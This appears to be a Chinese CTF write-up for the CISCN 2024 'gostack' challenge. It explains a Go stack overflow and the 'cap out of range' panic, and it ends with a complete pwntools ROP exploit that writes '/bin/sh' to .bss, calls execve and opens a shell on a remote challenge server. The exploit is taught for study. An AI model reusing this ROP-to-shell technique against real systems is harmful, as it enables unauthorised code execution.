2024 cicsn gostack

devtools/2024/9/23 11:10:12/

文章目录

  • 思路
  • 报错
      • 报错原理
      • 具体场景分析
      • 示例说明
  • exp

思路

明显栈溢出,二分法试试,尝试得到偏移值,然后构造rop链,但偏移的填充物如果不是零字节会出现如下的报错

报错

,“cap out of range”(容量超出范围),发生在尝试扩展切片(slice)容量时。Go语言中的切片是一种动态数据结构,可以看作是对底层数组的封装,包含指向数组的指针、长度和容量三个要素。当向切片追加元素导致容量不足时,Go会自动尝试扩展切片容量。但是,如果扩展操作导致新的容量超出了其允许的最大值(通常是math.MaxInt32个元素),就会引发此错误。

报错原理

错误信息的关键部分是:

panic: runtime error: growslice: cap out of range

这意味着在运行时尝试扩大一个切片的容量时,所请求的新容量超出了支持的范围。通常,这是因为程序尝试存储的数据量超过了Go语言能够有效处理的切片最大容量限制。

具体场景分析

从错误堆栈跟踪中可以看到问题发生在fmt.Fprintf函数内部,具体是在处理字符串格式化和输出的过程中。错误起始于尝试写入一个非常长的字符串到缓冲区时,这个操作在内部触发了切片扩容,但由于字符串过长,导致扩容失败。

fmt.Fprintf({0x4df508, 0xc000010018}, {0x4c0995, 0x17}, {0xc000049ea8, 0x1, 0x1})

这里,程序试图格式化输出一个很长的字符串(你的输入),但在构建输出缓冲时遇到了容量限制问题。错误链中的fmt.(*buffer).writeStringfmt.(*fmt).padStringfmt.(*fmt).fmtS等函数调用,都与字符串处理和格式化输出有关。

示例说明

假设你有一个简单的Go程序,它的目的是读取用户输入并将其打印出来:

package mainimport ("fmt""os"
)func main() {var input stringfmt.Println("Input your magic message:")fmt.Scanln(&input)fmt.Printf("Your magic message: %s\n", input)
}

当你输入一个非常长的字符串,比如上百万个字符,程序在尝试通过fmt.Printf打印这个字符串时,就可能会遇到上述错误。因为在内部,fmt.Printf会尝试构建一个缓冲区来存放格式化后的字符串,如果字符串过长导致所需缓冲区的容量超过了Go所能支持的最大值,就会引发“cap out of range”的错误。

exp

from pwn import *
p=remote("8.147.129.254", 22350)#nc 8.147.129.254 22350
#p=process("./gostack")
#gdb.attach(p)
rdi=0x00000000004a18a5 #0x00000000004a18a5 : pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
rsi=0x000000000042138a#0x000000000042138a : pop rsi ; ret
rdx=0x00000000004944ec #0x00000000004944ec : pop rdx ; ret
rax=0x000000000040f984    #0x000000000040f984 : pop rax ; ret
syscall=0x0000000000461F65
bss=0x00000000005633A0
payload=b"\x00"*0x1d0+p64(rdi)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x8)+p64(rax)+p64(0)+p64(syscall)
payload+=p64(rdi)+p64(bss)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)
#p.sendlineafter(b"Your magic message",payload)
p.sendlineafter(b"magic message :",payload)
p.send(b"/bin/sh\x00")
p.interactive()

http://www.ppmy.cn/devtools/45706.html

相关文章

【AD21】原理图PDF文件的输出

原理图PDF文件可以共享给团队成员,用于设计审核、讨论和协同工作。 菜单栏中点击文件->智能PDF。 在弹出的界面点击Next,勾选当前项目,修改文件名,避免与制造装备图PDF文件重名将其覆盖,点击Next。 只输出原理图…

设计模式(简要,应付软考)

简单工厂模式(Simple Factory Pattern): 又称为静态工厂方法(Static Factory Method)模式,它属于类创建型模式。在简单工厂模式中,可以根据参数的不同返回不同类的实例。简单工厂模式专门定义一个类来负责创建其他类的实例,被创建的实例通常都具有共同的父类。 单例实例&#…

计算一个3x3矩阵对角线和其它两条线的元素之和

计算一个3x3矩阵对角线和其它两条线的元素之和 #include <stdio.h> int main () { int d0,b0,s,i,j; int a[3][3]{1,2,3,4,5,6,7,8,9}; for(i0,j2;i<3;i,j--) dda[i][i]a[i][j]; for(i0,j0;i<3;) {bba[i][j]a[i][j2]; ii2;} sdb; printf("d%d\nb%d\ns%d\n&qu…

Redis和Memcache的区别总结

Redis和Memcache的区别总结 集群&#xff1a; redis 和memcached都支持集群 数据类型 Redis支持的数据类型要丰富得多 Redis不仅仅支持简单的k/v类型的数据&#xff0c;同时还提供String&#xff0c;List,Set,Hash,Sorted Set,pub/sub,Transactions数据结构的存储。 其中…

Oracle dblink 发现Network 等待事件的分析 enq: KO - fast object checkpoint

所有的sql 通过dblink 查询全部等待中&#xff0c; 同一个SQL 20多个session 在跑&#xff0c;等待事件network&#xff0c;可能怀疑是不是网络断开了&#xff0c;导致没有返回 执行sql 如下&#xff1a; BEGIN Xdblink ; END; 去到dblink 所在的db&#xff0c;发现20多个sql在…

压测工具Jmeter的使用

一、安装 下载地址&#xff1a; 国外地址&#xff1a;jmeter.apache.org&#xff08;下载会很慢&#xff0c;建议使用国内地址&#xff09; 国内地址&#xff1a;apache-jmeter-binaries安装包下载_开源镜像站-阿里云 下载好进入bin文件下&#xff0c;双击jmeter.bat 打开…

OceanBase 回收站功能(社区版4.2.1.0)

概述 回收站默认是关闭的。如果开启的话&#xff0c;回收站里包含 OB 被删除的对象(租户&#xff0c;表&#xff0c;索引&#xff0c;database等)。当删除OB某个对象后&#xff0c;该对象会进入回收站&#xff0c;删除对象的存储空间并不会被释放&#xff0c;仍然占用物理空间…

【Linux】网络高级IO

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;折纸花满衣 &#x1f3e0;个人专栏&#xff1a;Linux 目录 &#x1f449;&#x1f3fb;五种IO模型&#x1f449;&#x1f3fb;消息通信的同步异步与进程线程的同步异步有什么不同&#xff1f;&#x1f449…